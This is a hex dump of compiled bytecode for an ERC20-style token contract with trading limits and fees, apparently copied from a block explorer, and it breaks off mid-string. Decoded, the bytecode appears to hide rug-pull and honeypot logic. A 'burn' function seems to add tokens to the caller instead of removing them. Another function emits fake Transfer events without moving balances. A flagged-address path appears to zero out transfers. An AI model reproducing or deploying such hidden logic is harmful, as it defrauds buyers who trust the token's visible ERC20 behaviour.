c8565b604082019050919050565b60006020820190508181036000830152613c5381613c17565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613cb6603583612e9c565b9150613cc182613c5a565b604082019050919050565b60006020820190508181036000830152613ce581613ca9565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d22601383612e9c565b9150613d2d82613cec565b602082019050919050565b60006020820190508181036000830152613d5181613d15565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613db4603683612e9c565b9150613dbf82613d58565b604082019050919050565b60006020820190508181036000830152613de381613da7565b9050919050565b6000613df582612fab565b9150613e0083612fab565b9250828203905081811115613e1857613e176134a9565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e7a602183612e9c565b9150613e8582613e1e565b604082019050919050565b60006020820190508181036000830152613ea981613e6d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f0c602283612e9c565b9150613f1782613eb0565b604082019050919050565b60006020820190508181036000830152613f3b81613eff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050613f8081612f7f565b92915050565b600060208284031215613f9c57613f9b612f43565b5b6000613faa84828501613f71565b91505092915050565b6000819050919050565b6000613fd8613fd3613fce84613fb3565b613294565b612fab565b9050919050565b613fe881613fbd565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61402381612f6d565b82525050565b6000614035838361401a565b60208301905092915050565b6000602082019050919050565b600061405982613fee565b6140638185613ff9565b935061406e8361400a565b8060005b8381101561409f5781516140868882614029565b975061409183614041565b925050600181019050614072565b5085935050505092915050565b600060a0820190506140c16000830188613057565b6140ce6020830187613fdf565b81810360408301526140e0818661404e565b90506140ef60608301856131fd565b6140fc6080830184613057565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614162602683612e9c565b915061416d82614106565b604082019050919050565b6000602082019050818103600083015261419181614155565b905091905056fea26469706673582212201ceb1b6315dd4d2830bbfd29377a28bd1246853542d817d582b7cd369367cdf964736f6c634300081700330000000000000000000000001fe3641d3b3e0c8552e7f3e8c7e53e25ea1a4d05
Deployed Bytecode
0x6080604052600436106102555760003560e01c80637571336a11610139578063c2b7bbb6116100b6578063dd62ed3e1161007a578063dd62ed3e14610873578063e2f45605146108b0578063f2fde38b146108db578063f55332ab14610904578063f8b45b0514610941578063ffb54a991461096c5761025c565b8063c2b7bbb6146107a0578063c876d0b9146107c9578063c8c8ebe4146107f4578063c9567bf91461081f578063cd5f101d146108365761025c565b8063a0ef91df116100fd578063a0ef91df146106bd578063a457c2d7146106d4578063a746223f14610711578063a9059cbb1461073a578063c0246668146107775761025c565b80637571336a146105fe5780638da5cb5b1461062757806395d89b41146106525780639a7a23d61461067d5780639b636545146106a65761025c565b806339509351116101d257806352f7c9881161019657806352f7c98814610502578063583e05681461052b5780636ddd17131461055657806370a0823114610581578063715018a6146105be57806371f5f01a146105d55761025c565b8063395093511461040957806342966c6814610446578063470624021461046f57806349bd5a5e1461049a5780634fbee193146104c55761025c565b806326ededb81161021957806326ededb8146103485780632b14ca56146103715780632cb743f71461039c578063311028af146103b3578063313ce567146103de5761025c565b806306fdde0314610261578063095ea7b31461028c578063139864a8146102c957806318160ddd146102e057806323b872dd1461030b5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610997565b6040516102839190612f21565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612fe1565b610a29565b6040516102c0919061303c565b60405180910390f35b3480156102d557600080fd5b506102de610a4c565b005b3480156102ec57600080fd5b506102f5610a68565b6040516103029190613066565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613081565b610a72565b60405161033f919061303c565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190613139565b610aa1565b005b34801561037d57600080fd5b50610386610b78565b6040516103939190613066565b60405180910390f35b3480156103a857600080fd5b506103b1610b7e565b005b3480156103bf57600080fd5b506103c8610c1c565b6040516103d59190613066565b60405180910390f35b3480156103ea57600080fd5b506103f3610c22565b60405161040091906131b5565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b9190612fe1565b610c2b565b60405161043d919061303c565b60405180910390f35b34801561045257600080fd5b5061046d600480360381019061046891906131d0565b610c62565b005b34801561047b57600080fd5b50610484610c7e565b6040516104919190613066565b60405180910390f35b3480156104a657600080fd5b506104af610c84565b6040516104bc919061320c565b60405180910390f35b3480156104d157600080fd5b506104ec60048036038101906104e79190613227565b610caa565b6040516104f9919061303c565b60405180910390f35b34801561050e57600080fd5b5061052960048036038101906105249190613254565b610d00565b005b34801561053757600080fd5b50610540610d1a565b60405161054d91906132f3565b60405180910390f35b34801561056257600080fd5b5061056b610d3e565b604051610578919061303c565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190613227565b610d51565b6040516105b59190613066565b60405180910390f35b3480156105ca57600080fd5b506105d3610d9a565b005b3480156105e157600080fd5b506105fc60048036038101906105f791906131d0565b610dae565b005b34801561060a57600080fd5b506106256004803603810190610620919061333a565b610e46565b005b34801561063357600080fd5b5061063c610ea9565b604051610649919061320c565b60405180910390f35b34801561065e57600080fd5b50610667610ed3565b6040516106749190612f21565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f919061333a565b610f65565b005b3480156106b257600080fd5b506106bb61100b565b005b3480156106c957600080fd5b506106d261107f565b005b3480156106e057600080fd5b506106fb60048036038101906106f69190612fe1565b61116c565b604051610708919061303c565b60405180910390f35b34801561071d57600080fd5b506107386004803603810190610733919061337a565b6111e3565b005b34801561074657600080fd5b50610761600480360381019061075c9190612fe1565b61128a565b60405161076e919061303c565b60405180910390f35b34801561078357600080fd5b5061079e6004803603810190610799919061333a565b6112ad565b005b3480156107ac57600080fd5b506107c760048036038101906107c29190613227565b61135e565b005b3480156107d557600080fd5b506107de6113d7565b6040516107eb919061303c565b60405180910390f35b34801561080057600080fd5b506108096113ea565b6040516108169190613066565b60405180910390f35b34801561082b57600080fd5b506108346113f0565b005b34801561084257600080fd5b5061085d60048036038101906108589190613227565b611415565b60405161086a9190613066565b60405180910390f35b34801561087f57600080fd5b5061089a600480360381019061089591906133da565b61142d565b6040516108a79190613066565b60405180910390f35b3480156108bc57600080fd5b506108c56114b4565b6040516108d29190613066565b60405180910390f35b3480156108e757600080fd5b5061090260048036038101906108fd9190613227565b6114ba565b005b34801561091057600080fd5b5061092b60048036038101906109269190613227565b61153d565b604051610938919061303c565b60405180910390f35b34801561094d57600080fd5b50610956611593565b6040516109639190613066565b60405180910390f35b34801561097857600080fd5b50610981611599565b60405161098e919061303c565b60405180910390f35b6060600480546109a690613449565b80601f01602080910402602001604051908101604052809291908181526020018280546109d290613449565b8015610a1f5780601f106109f457610100808354040283529160200191610a1f565b820191906000526020600020905b815481529060010190602001808311610a0257829003601f168201915b5050505050905090565b600080610a346115ac565b9050610a418185856115b4565b600191505092915050565b610a5461177d565b600a54600e81905550600a54600d81905550565b6000600354905090565b600080610a7d6115ac565b9050610a8a858285611811565b610a9585858561189d565b60019150509392505050565b610aa961177d565b60005b83839050811015610b7257838382818110610aca57610ac961347a565b5b9050602002016020810190610adf9190613227565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b5d9190613066565b60405180910390a38080600101915050610aac565b50505050565b600b5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610bdf57600080fd5b6000610bea30610d51565b9050610c1930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361189d565b50565b600a5481565b60006009905090565b600080610c366115ac565b9050610c57818585610c48858961142d565b610c5291906134d8565b6115b4565b600191505092915050565b610c6a61177d565b610c7b610c756115ac565b8261254c565b50565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d0861177d565b80600b8190555081600c819055505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601260009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610da261177d565b610dac60006126f3565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610def6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b6000610e1a30610d51565b9050600060648383610e2c919061350c565b610e36919061357d565b9050610e41816127b9565b505050565b610e4e61177d565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ee290613449565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0e90613449565b8015610f5b5780601f10610f3057610100808354040283529160200191610f5b565b820191906000526020600020905b815481529060010190602001808311610f3e57829003601f168201915b5050505050905090565b610f6d61177d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff490613620565b60405180910390fd5b6110078282612a18565b5050565b61101361177d565b600f60009054906101000a900460ff16611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110599061368c565b60405180910390fd5b6000600f60006101000a81548160ff021916908315150217905550565b600047116110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b9906136f8565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036115ac565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611169573d6000803e3d6000fd5b50565b6000806111776115ac565b90506000611185828661142d565b9050838110156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c19061378a565b60405180910390fd5b6111d782868684036115b4565b60019250505092915050565b6111eb61177d565b60005b838390508110156112845781601360008686858181106112115761121061347a565b5b90506020020160208101906112269190613227565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506111ee565b50505050565b6000806112956115ac565b90506112a281858561189d565b600191505092915050565b6112b561177d565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611352919061303c565b60405180910390a25050565b61136661177d565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113d4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610e46565b50565b600f60009054906101000a900460ff1681565b600e5481565b6113f861177d565b6001601260016101000a81548160ff021916908315150217905550565b60106020528060005260406000206000915090505481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b6114c261177d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611531576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115289061381c565b60405180910390fd5b61153a816126f3565b50565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b601260019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a906138ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990613940565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117709190613066565b60405180910390a3505050565b6000806117886115ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611806906139ac565b60405180910390fd5b565b600061181d848461142d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118975781811015611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613a18565b60405180910390fd5b61189684848484036115b4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197290613b3c565b60405180910390fd5b600081036119945761198f83836000612ab9565b612547565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611a205743601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611a28610ea9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a965750611a66610ea9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611acf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b09575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60019054906101000a900460ff16155b1561215857601260019054906101000a900460ff16611c1c57601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bdc5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613ba8565b60405180910390fd5b5b600f60009054906101000a900460ff168015611c825750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e59577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d875750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e585743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015611e18575043601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b611e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4e90613c3a565b60405180910390fd5b5b5b600f60029054906101000a900460ff161561215757601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f115750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fb857600e54811115611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5290613ccc565b60405180910390fd5b600d54611f6783610d51565b82611f7291906134d8565b1115611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa90613d38565b60405180910390fd5b612156565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561205b5750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120aa57600e548111156120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c90613dca565b60405180910390fd5b612155565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661215457600d5461210783610d51565b8261211291906134d8565b1115612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90613d38565b60405180910390fd5b5b5b5b5b5b600061216330610d51565b90506000601154821190508080156121875750601260009054906101000a900460ff165b80156121a05750600f60019054906101000a900460ff16155b80156121f65750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561224c5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122a25750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122e7576001600f60016101000a81548160ff0219169083151502179055506122cb83612d32565b6000600f60016101000a81548160ff0219169083151502179055505b6000600f60019054906101000a900460ff161580156123505750601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a65750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561253757601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124315761242a606461241c600b5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612513565b601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124b2576124ab606461249d600c5488612d7d90919063ffffffff16565b612d9390919063ffffffff16565b9050612512565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125115761250e8588612da9565b94505b5b5b600081111561252857612527873083612ab9565b5b80856125349190613dea565b94505b612542878787612ab9565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290613e90565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115612642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263990613f22565b60405180910390fd5b818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126e69190613066565b60405180910390a3505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff8111156127d6576127d5613f42565b5b6040519080825280602002602001820160405280156128045781602001602082028036833780820191505090505b509050308160008151811061281c5761281b61347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128e59190613f86565b816001815181106128f9576128f861347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061295e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846115b4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129e29594939291906140ac565b600060405180830381600087803b1580156129fc57600080fd5b505af1158015612a10573d6000803e3d6000fd5b505050505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1f90613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8e90613b3c565b60405180910390fd5b612ba2838383612e6d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2090614178565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d199190613066565b60405180910390a3612d2c848484612e72565b50505050565b6000612d3d30610d51565b905060008103612d4d5750612d7a565b6000819050601154811115612d625760115490505b82811115612d6e578290505b612d77816127b9565b50505b50565b60008183612d8b919061350c565b905092915050565b60008183612da1919061357d565b905092915050565b600080603290506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443612dfd9190613dea565b905060008282612e0d919061350c565b9050600060648211612e2b57816064612e269190613dea565b612e2e565b60005b9050600060648289612e40919061350c565b612e4a919061357d565b9050612e60600082612e7790919063ffffffff16565b9550505050505092915050565b505050565b505050565b600081831015612e875781612e89565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ecb578082015181840152602081019050612eb0565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ef382612e91565b612efd8185612e9c565b9350612f0d818560208601612ead565b612f1681612ed7565b840191505092915050565b60006020820190508181036000830152612f3b8184612ee8565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f7882612f4d565b9050919050565b612f8881612f6d565b8114612f9357600080fd5b50565b600081359050612fa581612f7f565b92915050565b6000819050919050565b612fbe81612fab565b8114612fc957600080fd5b50565b600081359050612fdb81612fb5565b92915050565b60008060408385031215612ff857612ff7612f43565b5b600061300685828601612f96565b925050602061301785828601612fcc565b9150509250929050565b60008115159050919050565b61303681613021565b82525050565b6000602082019050613051600083018461302d565b92915050565b61306081612fab565b82525050565b600060208201905061307b6000830184613057565b92915050565b60008060006060848603121561309a57613099612f43565b5b60006130a886828701612f96565b93505060206130b986828701612f96565b92505060406130ca86828701612fcc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126130f9576130f86130d4565b5b8235905067ffffffffffffffff811115613116576131156130d9565b5b602083019150836020820283011115613132576131316130de565b5b9250929050565b60008060006040848603121561315257613151612f43565b5b600084013567ffffffffffffffff8111156131705761316f612f48565b5b61317c868287016130e3565b9350935050602061318f86828701612fcc565b9150509250925092565b600060ff82169050919050565b6131af81613199565b82525050565b60006020820190506131ca60008301846131a6565b92915050565b6000602082840312156131e6576131e5612f43565b5b60006131f484828501612fcc565b91505092915050565b61320681612f6d565b82525050565b600060208201905061322160008301846131fd565b92915050565b60006020828403121561323d5761323c612f43565b5b600061324b84828501612f96565b91505092915050565b6000806040838503121561326b5761326a612f43565b5b600061327985828601612fcc565b925050602061328a85828601612fcc565b9150509250929050565b6000819050919050565b60006132b96132b46132af84612f4d565b613294565b612f4d565b9050919050565b60006132cb8261329e565b9050919050565b60006132dd826132c0565b9050919050565b6132ed816132d2565b82525050565b600060208201905061330860008301846132e4565b92915050565b61331781613021565b811461332257600080fd5b50565b6000813590506133348161330e565b92915050565b6000806040838503121561335157613350612f43565b5b600061335f85828601612f96565b925050602061337085828601613325565b9150509250929050565b60008060006040848603121561339357613392612f43565b5b600084013567ffffffffffffffff8111156133b1576133b0612f48565b5b6133bd868287016130e3565b935093505060206133d086828701613325565b9150509250925092565b600080604083850312156133f1576133f0612f43565b5b60006133ff85828601612f96565b925050602061341085828601612f96565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346157607f821691505b6020821081036134745761347361341a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134e382612fab565b91506134ee83612fab565b9250828201905080821115613506576135056134a9565b5b92915050565b600061351782612fab565b915061352283612fab565b925082820261353081612fab565b91508282048414831517613547576135466134a9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612fab565b915061359383612fab565b9250826135a3576135a261354e565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061360a603983612e9c565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416c72656164792064697361626c656421000000000000000000000000000000600082015250565b6000613676601183612e9c565b915061368182613640565b602082019050919050565b600060208201905081810360008301526136a581613669565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e7472616374000000600082015250565b60006136e2601d83612e9c565b91506136ed826136ac565b602082019050919050565b60006020820190508181036000830152613711816136d5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613774602583612e9c565b915061377f82613718565b604082019050919050565b600060208201905081810360008301526137a381613767565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613806602683612e9c565b9150613811826137aa565b604082019050919050565b60006020820190508181036000830152613835816137f9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613898602483612e9c565b91506138a38261383c565b604082019050919050565b600060208201905081810360008301526138c78161388b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061392a602283612e9c565b9150613935826138ce565b604082019050919050565b600060208201905081810360008301526139598161391d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613996602083612e9c565b91506139a182613960565b602082019050919050565b600060208201905081810360008301526139c581613989565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a02601d83612e9c565b9150613a0d826139cc565b602082019050919050565b60006020820190508181036000830152613a31816139f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a94602583612e9c565b9150613a9f82613a38565b604082019050919050565b60006020820190508181036000830152613ac381613a87565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b26602383612e9c565b9150613b3182613aca565b604082019050919050565b60006020820190508181036000830152613b5581613b19565b9050919050565b7f54726164696e67206973206e6f742061637